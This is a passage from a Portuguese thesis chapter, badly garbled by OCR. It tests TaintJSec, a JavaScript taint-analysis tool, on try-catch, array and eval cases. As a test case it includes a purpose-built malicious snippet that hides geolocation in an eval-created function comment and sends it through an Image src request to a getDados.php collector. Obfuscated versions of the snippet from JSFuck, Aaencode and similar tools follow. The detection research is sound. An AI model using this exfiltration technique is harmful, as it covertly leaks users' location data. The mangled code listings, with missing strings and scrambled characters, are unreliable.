8 else {

9 if (tc_codigo > 100) {

10 throw getNome(); // taint propagation

11 }

12 }

13 |}

14 |catch (tc_erro) {

15 if (tc_erro == ) {

16 tc_a = ;

17 }

18 if (tc_erro == getNome()) {

19 tc_a = +tc_erro; // tainted

20 }

21 |}

22 |finally{

23 var tc_t = 8;

24 |}

25

26 [try {

27 try {

28 throw ;

29 }

30 catch(tc_ay){

31 tc_b = tc_ay;

32 throw tc_b + 2;

33 }

34 finally{

35 throw tc_b++;

36 tc_teste = 10; // essa operacdo ndo chega a ser analisada devido ao
ThrowStatement

37 }

38 |}

39 |catch (tc_ex) {

40 tc_saida = delete tc_codigo;

41 |}
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O Resultado 5.13 apresenta as estruturas de objeto geradas pelo TaintJSec.
Os resultados demonstram que o analisador foi capaz de percorrer a estrutura da
operagao Try-Catch. A informagao sensivel foi atribuida a variavel tc__a, e esta passou a

ser um taint data, como informado na linha 13 do Resultado 5.13.

Resultado 5.13. Resultado do teste de Try-Catch

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || tc_t = Variavel { valor: 8, tainted: 0}

6 _______________________

é e e e e e e e e e e e )

8 _______________________

9 || Nome: Variaveis Globais

10 || Registradores Globais:

11 || tc_a = Variavel {

12 valor: ,
13 tainted: 1}

14 || tc_b = Variavel { valor: NaN, tainted: 0}

15 || tc_saida = Variavel { valor: true, tainted: 0}
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5.2.5.7 Vetor

Este conjunto de teste tem o objetivo de avaliar a qualidade da andlise do TaintJSec em

operagoes que envolvam vetores

formas distintas de declaragdo de vetores (linhas 3 e 39), atribuigdo (linha 15) e
recuperacao (linha 13). Também foi utilizado um exemplo de vazamento de informagao
retirado do trabalho de Prakasam Kannan [74], onde a informacao sensivel é utilizada

como chave de vetor (linha 48) e recuperada dentro do escopo de um lago de repetigao

Dentre os casos de teste deste conjunto, constam operagoes que utilizam as duas

(linha 52).

© 0 N O Ot s W N =

W oW W W W W W W oW N NN N NN NN NN R e e e e e
® 9 T E DR R OO 0o R W N RO © 0N U WD = O

array_x = getNome(); // tainted

var array_a=[getNome(),[5,[3,8]1,71,31; // tainted
var array_f = [1, ,4,array_a[0]+1]; // tainted
array_f[ 1 = 99;

array_dr = array_f[ 1; // tainted

array_b {primeiro:1, :{a:2,b:{teste:

array_c array_al[11[11[1]1; // tainted
array_a[1][0] = 10;

array_teste = Array(1);
array_teste.push( ),
array_teste[1] += ;

array_al 1 =1[3,4,5];

array_a[2][0] = 1+1;

array_b.segundo = 100;

array_t = array_b.segundo;

array_b[ 1 = 607;

array_p = array_b[ 1.b[ 1;

array_s = array_b[ ]1.b.teste;

array_aa = 5;

}},terceiro:7};
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39 |array_op2 = new Array(1,array_aa,3);
40
41 |var array_junto = array_op2.join();
42
43 |array_op2.pop();
44
45 |array_re = array_op2[1] + array_op2[array_op2.length-1];
46

47 |var array_z = [1; // Exemplo de vazamento de informacgdo

48 |array_z[getNome()] = 1; // retirado do artigo: Taint and Information
49 // Flow Analysis Using Sweet.js Macros

50 [for(i in array_z){ // i tainted

51 if(array_z[i]==1)

52 b =1; // taint propagation

53 |}

54 |c = 1i; // taint propagation

99

Os resultados apresentados pelo TaintJSec foram satisfatorios. Nas estruturas de

objetos apresentadas pelo Resultado 5.14 é possivel observar que o taint tag propagou

corretamente. O registrador da variavel array_ a, por exemplo, apresenta o taint tag

positivo na linha 7. Tal propagacao foi realizada na linha 3 dos testes, onde um taint

source foi inserido em uma das posi¢oes do vetor.

A propagacao do taint tag assim como as demais operagoes do conjunto de testes

em vetores foram realizadas corretamente. Até mesmo o exemplo de vazamento de

informacao, retirado de artigo publicado, foi detectado e a varidvel que recebeu o valor

sensivel presente na chave do vetor passou a ser taint data, como mostra a linha 36 dos

resultados.
Resultado 5.14. Resultado do teste com Vetor
1 e e e e
2 || Nivel: O
3 || Nome: raiz
4 || Registradores Locais:
5 || array_a = Variavel {
6 valor: [ , [ 10, [Object]l, 71, [ 2, 4, 511,
7 tainted: 1}
8 || array_f = Variavel {
9 valor: [ 1, , 4, , 99 1,
10 tainted: 1}
11| array_junto = Variavel { valor: , tainted: 0}
12 || array_z = Variavel { valor: [ : 11, tainted: 0}
13 - mmmmmmmmmm oo
14 ===================================
15 == mmmmmmmmmm oo
16 || Nome: Variaveis Globais
17 || Registradores Globais:
18 || array_x = Variavel { valor: , tainted: 1}
19 || array_dr = Variavel { valor: 99, tainted: 1}
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20 || array_b = Variavel {

21 valor:

22 { primeiro: Variavel { valor: 607, tainted: 0},

23 : Variavel { valor: [Object], tainted: 0},
24 terceiro: 7,

25 segundo: Variavel { valor: 100, tainted: 0} },

26 tainted: 0}

27 || array_c = Variavel { valor: 8, tainted: 1}

28 || array_teste = Variavel { valor: [ , ], tainted: 0}
29 || array_t = Variavel { valor: 100, tainted: 0}

30 || array_p = Variavel { valor: , tainted: 0}

31 || array_s = Variavel { valor: , tainted: 0}

32 || array_aa = Variavel { valor: 5, tainted: 0}

33 || array_op2 = Variavel { valor: [ 1, 5 ], tainted: 0}

34 || array_re = Variavel { valor: 10, tainted: 0}

35 || i = Variavel { valor: , tainted: 1}
36 || b = Variavel { valor: , tainted: 1}
37 || c = Variavel { valor: , tainted: 1}
38 || a = Variavel { valor: 5, tainted: 0}
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5.3 Testes com a Funcao eval

Para validar a eficicia de utilizacao de taint position para a correta propagacao do
taint tag no escopo de execuc¢ao da funcao eval, foi utilizado o conjunto 6 do Quadro
quadro:conjtestespropagacao. Este conjunto é constituido por 10 casos de testes, e cada
caso apresenta uma forma distinta de envio de argumentos para a funcao eval. O Quadro

5.2 apresenta os 10 casos de teste.

Quadro 5.2. Testes de propagacao do taint tag na fungdo eval.

Cddigo Base
var eval a0 = fnc_ Tainted Source();
N2 do Teste Cadigo
1 eval al = eval(eval a0);
2 eval a2 = eval(“eval_a0”);
3 eval a3 = eval(“eval” + “_a0”);
4 eval a4 = eval(“‘eval” + ¢ _a0"”);
5 eval_ab = eval(“eval(\”eval\“ + \”_a0’\“)");
6 eval a6 = eval(“eval(\”eval\“ + \”_a0\“)");
7 eval a7 = eval(“eval "+“b7= ‘" + eval a0 +,“";”);
8 eval a8 = eval(“eval "+“b7= " + eval_a0 + “’;’texto’ ”);
9 eval(“eval_a9=""+4eval_a0+*’; eval _b9=""+“texto”+“’; eval_c9=eval a9”);
10 eval _al0 = eval(“eval _bl0=fnc_Tainted_Source;eval cl0=eval b10()");

Assumindo que a funcao fnc_ Tainted_Source é um taint source, os resultados dos
testes sdo apresentados no Quadro 5.3, onde é possivel observar o resultado do taint

propagation durante a andlise da fun¢ao ewval utilizando a técnica dos tainted positions.
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Quadro 5.3. Resultado dos testes de propagacio do taint tag na fungao eval.

Cédigo Base

eval a0 = { valor: ‘Informagao Sensivel’, tainted: 1 }

N© do Teste Resultado
1 (Erro de Sintaxe)
2 eval a2 = { valor: ‘Informagao Sensivel’, tainted: 1 }
3 eval a3 = { valor: ‘Informagao Sensivel’, tainted: 1 }
4 eval a4 = { valor: ‘eval_a0’, tainted: 0 }
5 eval _ab = { valor: ‘eval_a0’, tainted: 0 }
6 eval a6 = { valor: ‘Informagao Sensivel’, tainted: 1 }
- eval a7 = { valor: ‘Informagao Sensivel’, tainted: 1 }
eval b7 = { valor: ‘Informagao Sensivel’, tainted: 1 }
8 eval a8 = { valor: ‘texto’, tainted: 0 }
eval a9 = { valor: ‘Informagao Sensivel’, tainted: 1 }
9 eval b9 = { valor: ‘texto’, tainted: 0 }
eval _c9 = { valor: ‘Informacao Sensivel’, tainted: 1 }
eval _al0 = { valor: ‘Informagao Sensivel’, tainted: 1 }
10 eval bl0 = { valor: [Function: fnc Tainted Source], tainted: 1 }

eval _c10 = { valor: ‘Informacao Sensivel’, tainted: 1 }

O resultado foi satisfatorio, atingindo uma acurécia de 100% para os testes realizados

para avaliar o método de deteccao de propagacao do taint tag na execucao da funcao eval.

5.3.1 Funcao eval + Ofuscacao de cédigo + Propagacao nos
objetos do DOM

Em outro teste, uma aplicacdo maliciosa foi desenvolvida para realizar o vazamento de
informagao sensivel utilizando a funcao eval somada a pratica de ofuscacao de cdédigo, em
uma funcao JavaScript gerada dinamicamente.

Essa aplicacao tinha como objetivo o vazamento de dados de geolocalizacao,
enviando essa informacao para uma pagina web. Essa pagina recebia os dados vazados e
os armazenava para posterior consulta (Cédigo 5.15).

1 | <?php
2 |$bd = ;
3 |if(isset($_GET[ 1)<



5. TESTES E RESULTADOS 103

4 $dados = $_GET[ 1;

5 $abrir = fopen($hd, );

6 $sucesso = fwrite($abrir, $dados. );

7 fclose($abrir);

8 if($sucesso)

9 echo ;
10 |}

11 |else{

12 if(file_exists($bd))

13 echo implode( ,file($bd));

14 else

15 echo ;
16 |}

17 | ?>

Coédigo 5.15. Cédigo da pagina getDados.php.

Para realizar o vazamento de informacao, a aplicacao utiliza-se da fun¢ao eval para
criar dinamicamente uma funcao Leakage e inserir dados sensiveis em seu escopo como se
fossem simples comentarios, como apresenta o Cédigo 5.16.

Mesmo que a funcao Leakage nao seja um source tainted e nem retorne dados
sensiveis, ela possui um comentario que contém informacao sensivel, a qual foi
concatenada no argumento da funcao ewval. Essa informacdao, mesmo estando em um
comentario, é capturada e enviada a um taint sink, neste caso o atributo src do objeto
HTMLImageElement.

1 |eval( + getGeolocation() + ),
2 |pos = (Leakage + "")[ 1( Y11 1( )01,
3 | (new Image())I[ 1 = +pos;

Cadigo 5.16. Trecho do codigo da aplicagao maliciosa.

O vazamento de informagao ocorre quando o objeto HTMLImageFElement procura
carregar o bytecode da imagem (linha 3 do Cédigo 5.16), entdo a pagina getDados.php é
acessada e, consequentemente, a informacao sensivel é capturada.

O TaintJSec foi capaz de detectar o vazamento de informagao utilizando os tainted

positions.
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5.4 Testes em Cédigos Ofuscados

Em seguida, o Cddigo 5.16 foi criptografado para avaliar a qualidade do tracking do
TaintJSec.

Foram realizados testes utilizando codigos ofuscados a partir de ferramentas como
JSCompress [75], Aaencode [76], JSFuck [77], JSCrambler [78] e Packer [79].

5.4.1 JSCompress

A ferramenta JSCompress realizou uma minificacdo no cédigo original, resultando na
Figura 5.3. Esse c6digo nao deveria apresentar qualquer comentario, devido ao processo
de minificacao, porém o JSCompress nao detectou o comentario embutido no argumento
da funcao eval e o manteve.

A minificacao de cédigo nao foi obstaculo para a realizacao da propagacao da tag,
como ¢é possivel observar nas linhas 26, 27 e 28 do Resultado da Propagacao a tag com o

valor positivo.

Js JsCompress - The JavaScript Compression Tool

Copy & Paste JavaScript Code Upload Javascript Files Output

eval("Leakage = function(){ return 1@; /*"+getGeoLocation()+"*/
}"),pos=(Leakage+"") .split("/*")[1].split("*/")[0], (new
Image) .src="http://localhost/getDados.php?dados="+pos;

Stats: 11.68 % compression, saving 0.02 kb

Figura 5.3. Cdédigo gerado pelo JSCompress.

Resultado da propagacao do taint tag no JSCompress

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || temp_0_7113743252814397 = Variavel {

6 valor: ,

7 tainted: 1 }

8 || temp_0_5140872926833178 = Variavel { valor: ,
tainted: 1 }

[

10 ===================================

11 mmmmmmmmmmmm oo

12 || Nome: Variaveis Globais

13 || Registradores Globais:

14 || Leakage = Variavel {

15 valor:

16 { estrutura:
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17
18
19
20
21
22
23
24
25
26
27
28

{ range: [Object],
type: 'FunctionExpression',
id: null,
params: [],
defaults: [],
body: [Object],
generator: false,
expression: false,
tainted_eval: 1 } },

tainted: 1 }
pos = Variavel { valor: '[-3.0880814,-59.9659753]",

13
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tainted: 1 }

|
| 2temp_0_6720708740652281 = Variavel { valor: HTMLImageElement {}, tainted:

A Figura 5.4 apresenta o resultado da andalise de deteccao do vazamento de

informacao, sendo possivel observar o alerta no momento da detec¢do, no nivel 4 da

AST gerada pelo codigo.

File Edit View Search Terminal Help

[ 'Program’, 'ExpressionStatement', 'AssignmentExpression’ ]
nivel: 4 retorno: Variavel {
valor: 'http://localhost/getDados.php?dados=[-3.0880814,6-59.9659753]"

r

tainted: 1,

varobj: [1,

posicao_tainted: [ 30 ] }
Vazamento Detectado! Atribute SRC de um HTMLImageElement
host/getDados.php?dados=[-3.0880814,-59.9659753]

= http://local

Figura 5.4. Detecgdo do vazamento de informacdo no cédigo gerado pelo

JSCompress.
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5.4.2 Aaencode

Foi utilizado o Aaencode para criptografar o Codigo 5.16, como mostra a Figura 5.5, entao

o c6digo gerado foi analisado pelo Taint.JSec.

aaencode demo (] ¥

aaencode - Encode any JavaScript program to Japanese style emoticons (~_*)
Enter JavaScript source:

eval("Leakage = function(){ return 10; /%" + getGeoLocation() + "%/ }7);
pos = (Leakage + "")["split”1("/*")Y[11["split™"1("+/")[0];
(new Image())["src"] = "http://localhost/getDados. php?dados="+pos;

aaencode
Cwt)= /T m ) ) A= v o/ [T 0= (C-T) =23 e=(P0°) =(C-7)-(-7); A7) =(Ce%)= (o o}/ (0™ "0); |
Co)=e" "' “w): (CwJ/=3)+") ["8"] =) i Cwt e )em o -(CO7)] T AT (C-==3) + -] )
CoA ) e’ ]=(Cw/==3) + ') [c_"o;CA") ['c’'] = (CAO") )[(-)+(-)(9)](D.)[0] (¢
o)+’ )[9](0)(ﬂ}[c]+(D.)[o]+(’cu‘)+’ et (Caw®s==3) + ) [-"1+ (CA°) + ") [C-")+
= }]+ (C-"=3) ' ) [ "H((C-"==3) + ') [(-") - Ce)+CA") ' CA) ") [C-)+C-)]+ CA°) [0’ It
(C-"=3)+ ")y ["el;C Il YU "1 =" "0) P [Fo" 15 e”)=(("-"==3) ' ") "1+ C4°) "o +(C A ) ")
[C-") + ("- YI#((°-"==3) + ’) [ "o ="' IH(("-"==3) ¥ ") [t Cw*s+¥ ")[O°] C-")+=(C0"); C4°)I
e 1= (CA%).e =CA - )e” To -(P e )]s (0 " 0)=(Cw s+ )e” "ol (A% o E¥; A 1At
[ '1Ce+CA" )]+ OO )[ e ]+CO%)F C-)+ (C-) + C° )+ COA I e”1#(° 07 )+ ((07_"0) #(0”_"0))+
(0™ 70) (o™ o))+ CA I e”HC O )+ C-7) CO ) CAT e HCO )M (C-)+ CO™ )+ C-7)+ CA° ) e It
(C-)+ e Nt (™ 7o)t GO e 1+(C-")+ ({07 "0) - CO° )+ CA e 1HC 0% ) (CO°) (C-") C O ™ 14+C
)t =" (C-)+ O COA e HCOI+ C-") CO M CAI e HCO (C-) + CO N+ (07 _"0)t
A°)Ce”1+Ce )t C-)+ Ce™ )+ CAT)C e’ 1+C 0% )+ (C-")+ (C-") + (0™ "0))t CA° ) ™14 @°)t (C-")+ ((C-7) +
Co N+ CA)IC e’ 1+C-")+ (e7 o)t CATI ™ 14(C-") # (07 "0))+ (C-7) + CO°))+ CA°) e 1+(C-")+ (" "0}t
CA e HC O )+ C-7)+ ((07_"0) +(o™ 7o)+ C AT e " 1H(C O )+ ((07_"0) +(0”_"0))t (C-") + C o))+ A

[ eval | [ Permalink |

Figura 5.5. Cdédigo gerado pelo Aaencode.

Resultado da propagacdo do taint tag no Aaencode

1

2 || Nome: Variaveis Globais

3 || Registradores Globais:

4 || 0 = Variavel {

5 valor:

6 { estrutura:

7 { range: [Object],

8 type: 'FunctionExpression',

9 id: [Object],

10 params: [],

11 defaults: [],

12 body: [Object],

13 generator: false,

14 expression: false } },

15 tainted: 0 }

16 || ‘w’/ = Variavel { valor: undefined, tainted: 0 }

17 ] = Variavel { valor: 3, tainted: 0 }

18 || °-° = Variavel { valor: 4, tainted: 0, args_original: '' }
19 || o = Variavel { valor: 3, tainted: 0 }

20 || °0° = variavel { valor: 1, tainted: 0, args_original: '' }
21 || c = Variavel { valor: 0, tainted: 0, args_original: '' }
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22 || °A° = Variavel {

23 valor:

24 { : Variavel { valor: , tainted: 0 },

25 : Variavel { valor: , tainted: 0 },

26 : Variavel { valor: , tainted: 0 },

27 : Variavel { valor: , tainted: 0 },

28 c: Variavel { valor: , tainted: 0 },

29 o: Variavel { valor: , tainted: 0 },

30 _: Variavel { valor: [Function: Function], tainted: 0 },

31 return: Variavel { valor: , tainted: 0 },

32 : Variavel { valor: , tainted: 0 },

33 constructor: Variavel { valor: , tainted: 0 } },

34 tainted: 0 }

35 || °0° = Variavel { valor: , tainted: O,

36 args_original: }

37 || *e” = Variavel { valor: , tainted: 0, args_original:

38 || temp_0_9986435039518833 = Variavel { valor: 1, tainted: 0, args_original:

¥

39 || o’-"o0 = Variavel { valor: , tainted: 0 }

40 || _0 = Variavel {

41 valor:

42 { estrutura:

43 { range: [Object],

44 type: ,

45 id: [Object],

46 params: [1],

a7 defaults: [],

48 body: [Object],

49 generator: false,

50 expression: false } },

51 tainted: 0 }

52 || Leakage = Variavel {

53 valor:

54 { estrutura:

55 { range: [Object],

56 type: ,

57 id: [Object],

58 params: [],

59 defaults: [],

60 body: [Object],

61 generator: false,

62 expression: false,

63 tainted_eval: 1 } },

64 tainted: 1 }

65 || pos = Variavel { valor: , tainted: 1 }

66 || temp_0_23334639449380967 = Variavel { valor: HTMLImageElement {}, tainted:
1}

67 === mmmmmmmmmmmmemm——--

E possivel observar nas linhas 65 e 66 do resultado de propagacio do cédigo ofuscado



5. TESTES E RESULTADOS 108

pelo Aaencode que o taint tag propagou normalmente para os demais objetos. Na linha
65 é possivel observar o registrador da variavel pos marcado com taint tag positivo. O
mesmo ocorre na linha 66 com o objeto HT'MLImageFElement.

Logo, a propagacao da tag ocorreu mesmo com o cdédigo ofuscado e foi possivel

detectar o vazamento de informacao, conforme apresenta a Figura 5.6.

File Edit View Search Terminal Help

,-59.9659753]"",
posicao tainted: [ 30 1 } variavelll { wvetor: true,
identificador: 'temp @ 00654733376272687',
valor previo: HTMLImageElement {},
posicao: [ 'src' 1,
property tainted positions: [ @ 1,
valor: undefined,

varobj: [1,

tainted: 8,

tipo valor previo: 'NewExpression' }
Vazamento Detectado! Atribute SRC de um HTMLImageElement = http://local§
host/getDados.php?dados=[-3.0880814,-59.9659753] [

Figura 5.6. Deteccdo do vazamento de informacao no cédigo gerado pelo Aaencode.
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5.4.3 JSFuck

Foi utilizado o JSFuck para criptografar o Codigo 5.16, como mostra a Figura 5.7, entao

o c6digo gerado foi analisado pelo Taint.JSec.

()+
[]!

eval(“Leakage = function(){ return 1e; /*" + getGeolocation() + "*/ }");
Egg - {W ¥+ IIII}[IIEplitII]{III*II}[l][IIEplitII]{II*III}[B]:
(new Image())["src"] = "http://localhost/getDados.php?dados="+pos;

Encode & Eval source || Run In Parent Scope

IO I+ID [+ 011+ C0 I+ DDOT D) [+t D+ [+ DT D1+ 0 DD+ DD D+ LD+ DD 1 | |
[I+0D) D01+ T DCOT DO LT 0D) [+ D11+ (D DI+ 0D D01 D) [+ 1+ DD+ [+ L1 1 1+
CCTIID D+ DI+ O LT DD D+ DT+ D1 T 00D [+ [T+ 0+ L]0+ [T+ (0 0+

DO OI+ID) [+ DT1+CO DD+ DOD D) [+ D1+ [+ DT D1+ O DD+ 0D D+ L1+ 1+ 1T 1 (Y

[+0D [0+ D [+ D1+ 0TI+ OO DO D0 [+ 0+ D11+ O LD+ DD [+ [T+

I+ 1+ 00 I+ D 1+ O LI LD [+ LTI+ COT DO T+ 0D [+ 011+ COT DO LT+0D)
I+ IO DO D) [+ + DI+ D+ L1 T 1+ O T+ 01D D+ DD+ 1+ DD T+ CU LT+ DD) [+ [+ 1+
111+ [+ 0+ D1+ D1+ OV LT LD [+ DT+ O LI+ DT DOV DTS00 T+ DT 1A [T D+
LD [+ + 01+ + 1111+ O DI+ DD D+ D1+t D T+ O LI+ DD D0+ DT+ 000 D) [+ 2+
[+ 1+ 0 I+ ID [+ DT OO LI+ DD) D+ D1+ DT+ 1 D T (O [T+ 0 [T 14 [ ]

119219 chars Run This

© 0 N O Ut s W N =

e
N o= O

Figura 5.7. Codigo gerado pelo JSFuck.

Resultado da propagacao do taint tag no JSFuck

Nivel: 0
Nome: raiz
Registradores Locais:
temp_0_9325194618336168 = Variavel {
valor:
{ estrutura:
{ range: [Object],
type: 'FunctionExpression',
id: [Object],
params: [],
defaults: [],
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13 body: [Object],

14 generator: false,

15 expression: false } }

16 }

17 || temp_0_2633719552855911 = Variavel { valor: , tainted: 0 }

18 || temp_0_82266519121584 = Variavel { valor: , tainted: 0 }

19 || temp_0_6684026363503319 = Variavel { valor: /false/, tainted: 0 }

20 || temp_0_33544993146969126 = Variavel { valor: , tainted: 0 }

21 || temp_0_1213166194308728 = Variavel { valor: , tainted: 0 }

22 || temp_0_5123075582114358 = Variavel { valor: 211, tainted: 0 }

23 || temp_0_7790923849919331 = Variavel { valor: 20, tainted: 0 }

24 || temp_0_7751559646379698 = Variavel { valor: , tainted: 0 }

25 || temp_0_6757265285263963 = Variavel { valor: , tainted: 0 }

26 —mmmmmmmmmmmmmmm——-oooo

27 ===================================

28 mmmmmmmmmmmmmmm————ooo-

20 || Nome: Variaveis Globais

30 || Registradores Globais:

31 || Leakage = Variavel {

32 valor:

33 { estrutura:

34 { range: [Object],

35 type: ,

36 id: [Object],

37 params: [],

38 defaults: [],

39 body: [Object],

40 generator: false,

41 expression: false,

42 tainted_eval: 1 } },

43 tainted: 1,

44 }

45 || pos = Variavel { valor: , tainted: 1 }

46 || temp_0_18928080461112717 = Variavel { valor: HTMLImageElement {}, tainted:
13}

A7 m oo

E possivel observar nas linhas 45 e 46 do resultado de propagacio do cédigo ofuscado
pelo JSFuck que o taint tag propagou normalmente para os demais objetos. Na linha 45 é
possivel observar o registrador da variavel pos marcado com taint tag positivo. O mesmo

ocorre na linha 46 com o objeto HTMLImageFElement.
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Logo, a propagacao da tag ocorreu mesmo com o codigo ofuscado e foi possivel

detectar o vazamento de informacao, conforme apresenta a Figura 5.8.

File Edit View Search Terminal Help

valooorrr Variavel {

valor: 'http://localhost/getDados.php?dados=[-3.0888814,-59.9659753]"

tainted: 1,

varobj: [1,

args_origimal: ""http://localhost/getDados.php?dados=" + "[-3.0888814
,-59.9659753]"",

posicao_tainted: [ 30 ] } variavelll { wetor: true,

identificador: 'temp_ ©_05499555343578°,

valor_previo: HTMLImageElement {},

posicao: [ 'src' ],

property tainted positions: [ @ ],

valor: undefined,

varobj: [1,

tainted: 8,

tipo_wvalor_previo: 'NewExpression' }
Vazamento Detectado! Atributo SRC de um HTMLImageElement = http://local§
host/getDados.php?dados=[-3.0880814,-59.9659753] |

Figura 5.8. Deteccao do vazamento de informacao no cédigo gerado pelo JSFuck.
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5.4.4 JSCrambler

Foi utilizado o JSCrambler para criptografar o Codigo 5.16, como mostra a Figura 5.9,

entdo o codigo gerado foi analisado pelo TaintJSec.

TESTE
ID: 59b1ebb5e910cc00163a30f1 Iy
teste.js
SOURCE CODE PROTECTED CODE
f‘;_\ eval("Leakage = function(){ return 18; /*" + getGeolLocation() + "*/ }"); alee. ction (K, b) {
7 pos = (Leskage + "")["split"]("/*")[1]["split"1("*/")[0]; fa) 1
i (new Image())["src"] = "http://localhest/getDados.php?dados="+pos; var F = 2;
while (F !== 15) {
| itch (F) {
e B:
0 = b[s]
F=T;
break
case 19:
i return m;
& F = 15;
i break;
case 4:
Fiy F=1C-273:9
break;
e 16:
m=2z q=>0
F =19
break;
case 20:
i m=g-t>0882z-qg>0
F =19
i break;
ase 3:
0 =31
F=25;
break
e 62
z = Q && 1(Q, 0);
F = 14;
break;
Figura 5.9. Codigo gerado pelo JSCrambler.
Resultado da propagacao do taint tag no JSCrambler
Illll- - cccocoocoocooocooooooo
2 || Nivel: O
3 || Nome: raiz
4 || Registradores Locais:
5 || a2ee = Variavel {
6 valor:
7 { estrutura:
8 { range: [Object],
9 type: ,
10 id: [Object],
11 params: [1],
12 defaults: [],
13 body: [Object],
14 generator: false,
15 expression: false },
16 a: Variavel { valor: [Object], tainted: 0},
17 C: Variavel { valor: [Object], tainted: 0},
18 b: Variavel { valor: [Object], tainted: 0},
19 n: Variavel { valor: [Object], tainted: 0},
20 w: Variavel { valor: [Object], tainted: 0},
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21
22
23
24
25
26
27
28
29
30
31
32
33
34

35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

valor:

P: Variavel { valor: [Object], tainted: 0},
H: Variavel { valor: [Object], tainted: 0},
D: Variavel { valor: [Object], tainted: 0},
z: Variavel { valor: [Object], tainted: 0},
q: Variavel { valor: [Object], tainted: 0},
0: Variavel { valor: [Object], tainted: 0},
R: Variavel { valor: [Object], tainted: 0},
V: Variavel { valor: [Object], tainted: 0},
f: Variavel { valor: [Object], tainted: 0} },
tainted: 0}
temp_0_13594414804006916 = Variavel {
tainted: 1}

temp_0_9526427394422232 = Variavel { valor:

tainted: 1}

Nome: Variaveis Globais
Registradores Globais:

temp_0_9239368118878519 Variavel { valor:
temp_0_4615788786109254 = Variavel { valor:
temp_0_5295130272124962 = Variavel { valor:
temp_0_30889415425710354 = Variavel { valor:
temp_0_6037332225292458 = Variavel { valor:
temp_0_7995355004950915 = Variavel { valor:
temp_0_06361612749153633 = Variavel { valor:
temp_0_7881605166150913 = Variavel { valor:
temp_0_03634676088582145 = Variavel { valor:
temp_0_8379682134551547 = Variavel { valor:
temp_0_360087520650036 = Variavel { valor:
temp_0_025186848311961052 = Variavel { valor:
temp_0_2811977517255182 = Variavel { valor:
temp_0_643917155565777 = Variavel { valor:
temp_0_07002137401964115 = Variavel { valor:
temp_0_16914927265105106 = Variavel { valor:
temp_0_8835132468672098 = Variavel { valor:
temp_0_44022913204821124 = Variavel { valor:
temp_0_37759461723017806 = Variavel { valor:
temp_0_3138235441878878 = Variavel { valor:
temp_0_29436043433945613 = Variavel { valor:
temp_0_7736862073660966 = Variavel { valor:
temp_0_6938402010545426 = Variavel { valor:
temp_0_18186274263352686 = Variavel { valor:
temp_0_4458461474768367 = Variavel { valor:
temp_0_6373474465784135 = Variavel { valor:
temp_0_9045829635839095 = Variavel { valor:
temp_0_692755056882038 = Variavel { valor:
temp_0_3998741783465658 = Variavel { valor:
temp_0_7636223986943256 = Variavel { valor:

, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}
, tainted: 0}

113
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70 || temp_0_4602688270746973 = Variavel { valor: , tainted: 0}
|| temp_0_1377593961749255 = Variavel { valor: , tainted: 0}
72 || temp_0_07437498347618465 = Variavel { valor: , tainted: 0}
73 || temp_0_03583006417833978 = Variavel { valor: , tainted: 0}
74 || temp_0_5461145435583603 = Variavel { valor: , tainted: 0}
75 || temp_0_5559148963788878 = Variavel { valor: , tainted: 0}
76 || temp_0_1582237025492239 = Variavel { valor: , tainted: 0}
77 || temp_0_24430862277791876 = Variavel { valor: , tainted: 0}
78 || temp_0_18796976879167593 = Variavel { valor: , tainted: 0}
79 || temp_0_8837578511558091 = Variavel { valor: , tainted: 0}
80 || temp_0_5201395424910498 = Variavel { valor: , tainted: 0}
81 || temp_0_9200617068469255 = Variavel { valor: , tainted: 0}
82 || temp_0_17771213569681255 = Variavel { valor: , tainted: 0}
83 || temp_0_686796733742566 = Variavel { valor: , tainted: 0}
84 || temp_0_297518540469065 = Variavel { valor: , tainted: 0}
85 || temp_0_30981652108573665 = Variavel { valor: , tainted: 0}
86 || temp_0_2957813046427411 = Variavel { valor: , tainted: 0}
87 || temp_0_6500056869824056 = Variavel { valor: , tainted: 0}
88 || Leakage = Variavel {

89 valor:

90 { estrutura:

91 { range: [Object],

92 type: ,

93 id: [Object],

94 params: [],

95 defaults: [],

96 body: [Object],

97 generator: false,

98 expression: false,

99 tainted_eval: 1 } },

100 tainted: 1}

101 || pos = Variavel { valor: , tainted: 1}
102 || temp_0_559489344676888 = Variavel { valor: HTMLImageElement {}, tainted: 1}
103 =====-mmmmmmm o

E possivel observar nas linhas 101 e 102 do resultado de propagacio do cédigo
ofuscado pelo JSCrambler que o taint tag propagou normalmente para os demais objetos.
Na linha 101 é possivel observar o registrador da variavel pos marcado com taint tag

positivo. O mesmo ocorre na linha 102 com o objeto HT'MLImageElement.
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Logo, a propagacao da tag ocorreu mesmo com o codigo ofuscado e foi possivel

detectar o vazamento de informacao, conforme apresenta a Figura 5.10.

File Edit View Search Terminal Help

identificador: '"temp @ 11665387716298836"
valor previo: HTMLImageElement {},
posicao: [ 'src' 1,

property tainted positions: [ @ 1,

valor: '°,

varobj: [1,

tainted: 8,

tipo_wvalor_previo: 'NewExpression' }
Vazamento Detectado! Atribute SRC de um HTMLImageElement = http://local§
host/getDados.php?dados=[-3.0880814,-59.9659753]

Figura 5.10. Detec¢do do vazamento de informacdo no cédigo gerado pelo
JSCrambler.
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Foi utilizado o Packer para criptografar o Cédigo 5.16, como mostra a Figura 5.11, entao

o c6digo gerado foi analisado pelo Taint.JSec.

S Ot W N

-3

10
11

12
13
14
15
16
17
18
19
20
21
22
23
24

A JavaScript Compressor. version 3.0

Paste: Help

eval("Leakage = function(){ return 1@; /*" + getGeolLocation() + "*/ }");
pos = (Leakage + ""}["Split"]t"/*")[1]["Split”]{"*/"}[ﬂ];
(new Image()})["src"] = "http://localhost/getDados.php?dados="+pos;

e
Clear | | Pack Base62 encode ¢
Shrink variables ¥
Copy:
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!"'"'.replace(/"/,5tring))

{while{c--}r[e{c]]:k[c]{|etc);k:[function[e]{return riel}];e=function()
